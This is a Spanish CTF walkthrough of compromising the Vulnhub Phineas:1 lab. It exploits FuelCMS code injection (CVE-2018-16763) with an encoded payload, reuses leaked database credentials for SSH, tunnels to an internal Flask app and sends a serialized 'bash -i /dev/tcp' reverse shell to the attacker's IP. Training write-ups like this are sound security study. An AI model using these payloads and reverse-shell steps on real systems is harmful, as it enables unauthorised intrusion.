Vulnhub Phineas:1 CTF Walkthrough


Descripción
Una máquina de explotación web de nivel fácil / medio, con pivoting interno CVE / RCE.

Como primer paso con la herramienta NetDiscover realizaré un reconocimiento de red, para identificar la máquina objetivo.
netdiscover
Nuestra máquina objetivo tiene la dirección IP 192.168.50.48. Ahora realizare un escaneo de puerto y servicios con la herramienta Nmap.
nmap -n -p- -sS --open 192.168.50.48
Como se muestra en la imagen anterior hay 4 puertos abiertos, ahora escaneare estos puertos para saber qué servicios se están ejecutando.
nmap -n -p 22,80,111,3306 -sV 192.168.50.48

Ahora cargaré lo que se está ejecutando en el servidor web.
Apache index.html CentOS
En esta página se nos muestra la página de inicio de Apache Server para Centos. Entonces, lo que haré es enumerar los directorios del servidor web.
ffuz tool
La herramienta ffuz enumeró el directorio /structure que muestra la siguiente página.
directrorio structure
Se muestra una página web pero que no nos entrega mayor información es una página estática. Por lo tanto, Enumeraré nuevamente con la herramienta ffuz desde el directorio 192.168.50.48./structure/
ffuz /structure
La herramienta ffuz enumeró un archivo index.php nos muestra la misma página.
page /structure/index.php
Nuevamente enumeraré con la herramienta ffuz el directorio /structure/index.php.
ffuz /structure/index.php
En este caso la herramienta ffuz enumeró más directorios, pero el directorio que nos interesa es /fuel.
fuelcms
Como se muestra en la imagen anterior, fuelcms es un gestor de contenido como puede ser jomla, drupal,etc. Entonces, lo que haré será buscar algún exploit conocido para este cms. Utilizaré la herramienta searchsploit.
searchsploit fuelcms
Ocuparé el exploit Remote Code Execution “linux/webapps”47138.py, su código es el siguiente.
exploit 47138.py
El exploit a básicamente lo que hace es realizar una solicitud GET a la url .../fuel/pages/select/?filter=...
donde, (%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+urllib.quote(xxxx)+"%27%29%2b%27") es el payload que se utiliza para aprovechar una vulnerabilidad de inyección de código. Para más información sobre esta vulnerabilidad visite el siguiente link CVE-2018-16763.

Nota: El script está escrito en Python 2. Además, el script necesita ser ejecuta junto con algún proxy que puede ser Zap OWASP, BurpSuit, etc. En mi caso ocuparé el proxy burpSuit.

Antes de ejecutar el script debemos hacer algunas modificaciones a la variable "url".
config exploit
Ejecutaré el script.
exec exploit
Al ejecutar el scritp este entra en bucle y nos solicita que ingresemos un comando (cmd) en este caso envié el comando "ls" de Linux para listar archivos. En BurpSiut se muestra la solicitud GET enviado.
BurpSuit
Si hacemos cli en alguna de las solicitudes no muestra más detalle de la solicitud.
BurpSuit
También podemos ver el payload descodificado.
decode payload
Ahora necesitamos tener acceso al servidor, revisaré si está instalado en la máquina objetivo la herramienta netcat.
netcat
La aplicación netcat está instalada en la máquina víctima, por lo tanto, lo que haré será en mi máquina atacante dejar en escucha el puerto 443 con Netcat y a través de nuestro exploit ejecutaremos una conexión desde la máquina objetivo a nuestra máquina atacante.

La configuración netcat en nuestra máquina atacante será la siguiente.
netcat config
Luego, ejecutaremos nuestro script de la siguiente manera.
nc script
En nuestra máquina atacante obtendremos lo siguiente.
conexion a maquina atacante
Ya tenemos una conexión desde la máquina objetivo a nuestra máquina atacante. Ahora revisaré los archivos de configuración del fuelcms.
dir fuel
Como se muestra en la imagen anterior hay un archivo de configuración de base de datos con extensión .php. Lo analizaré ya que en el podemos encontrar nombres de usuarios.
database.php
Encontramos algo interesante un nombre de usuario y password (anna:H993hfkNNid5kk). Revisaré si hay algún usuario en el sistema registrado con el nombre de usuario encontrado en el archivo database.php.
user anna
Recordemos que en la máquina objetivo se está ejecutando el servicio SSH. Por lo tanto, intentaré de conectarme con las credenciales del usuario anna (anna:H993hfkNNid5kk) al servicio SSH, con esto comprobaré si se hizo uso de reutilización de credenciales.
ssh user anna
El usuario anna reutilizó sus credenciales con esto obtuvimos una conexión SSH. Ahora listaré los directorios para el usuario anna.
directorio home/anna
Como se muestra en la imagen hay un directorio llamado web. Revisare que contiene.
directorio web
El directorio web contiene una aplicación web que utiliza el framework Flask. Ahora revisaré las conexiones de red la máquina objetivo.
netstat -lnpt
Como se observa en la imagen anterior la interface loopback (127.0.0.1) tiene el puerto 5000 a la escucha de conexiones. Probablemente es la aplicación Flask que se está ejecutando.

Ahora para comprobar que se está ejecutando en el puerto 5000 de la interface loopback, realizaré una solicitud con la herramienta curl.
curl
Como se muestra en la imagen anterior el puerto 5000 de la interfaz de red loopback es una aplicación Python3 y también sabemos que se está ejecutando la aplicación web de Flask ya que está utilizando Werkzeug que es WSGI que utiliza Flask como interfaz de pasarela de servidor web.

Como no tengo acceso directo a la interfaz loopback (127.0.0.1) desde mi máquina atacante lo que haré es tunelizar la interfaz loopback hacia mi máquina atacante. Para realizar esto utilizaré una técnica llamada Pivoting.

El Pivoting consiste en utilizar una máquina comprometida para acceder a otras máquinas o segmentos red.

Sabemos que tenemos un acceso SSH hacia la máquina objetivo, por lo tanto, podemos utilizar este servicio para tunelizar la comunicación entre la interfaz loopback y mi máquina atacante. El protocolo SSH permite ejecutar Local Port Forwarding, nos permite realizar un redireccionamiento de puertos desde una cliente a un servidor de forma inversa.

La siguiente grafica muestra cómo sería un Local Port Forwarding.
local port forwarding

ssh LPF
Ahora tunelizare le puerto 5000 de la interfaz de red loopback de la máquina objetivo.
ssh tunnel
Ejecutare el comando netstat -lnvt en mi máquina atacante para comprobar si el puerto 5000 en mi interfaz loopback está abierto.
netstat -lnvt
Ahora analizaré el archivo app.py.
flask app.py
En el archivo app.py se codifica un endpoint /heaven o url http://127.0.01:5000/heaven, el cual, sólo procesa solicitudes de tipo POST a través del parámetro awesome. El argumento del parámetro awesome debe estar serializado y codificado en base64.

Lo que haré será serializar y encodear en base64 la siguiente instrucción bash -i /dev/tcp/192.168.50.160/4444. Escribiré un script en Python para obtener la instrucción antes mencionada serializada y encodeada en base64.
script python
Ahora ejecutare el script para obtener la instrución serializada y encodeada.
payload encode
Ahora con la herramienta netcat dejaré a la escucha el puerto 4444 para recibir la conexión desde la máquina objetivo.
Ahora con la herramienta curl enviaré la solicitud POST a la URL http://127.0.0.1:5000/heaven. Es decir, la estoy enviando a mi dirección loopback al puerto 5000, esto lo podemos hacer debido a que tenemos tunelizado el puerto 5000 de la máquina objetivo a nuestra máquina atacante. 

curl -X POST
En nuestra máquina atacante debemos recibir una conexión desde la máquina objetivo a nuestra máquina atacante.
conexion maquina objetivo
¡Bien! obtuvimos una conexión y una bash desde la máquina objetivo a nuestra máquina atacante. Ahora me cambiaré a al directorio /root para listar directorio y archivos.
flag root
¡Bien! obtuvimos nuestra flag root.

Happy Hack!!!

Comentarios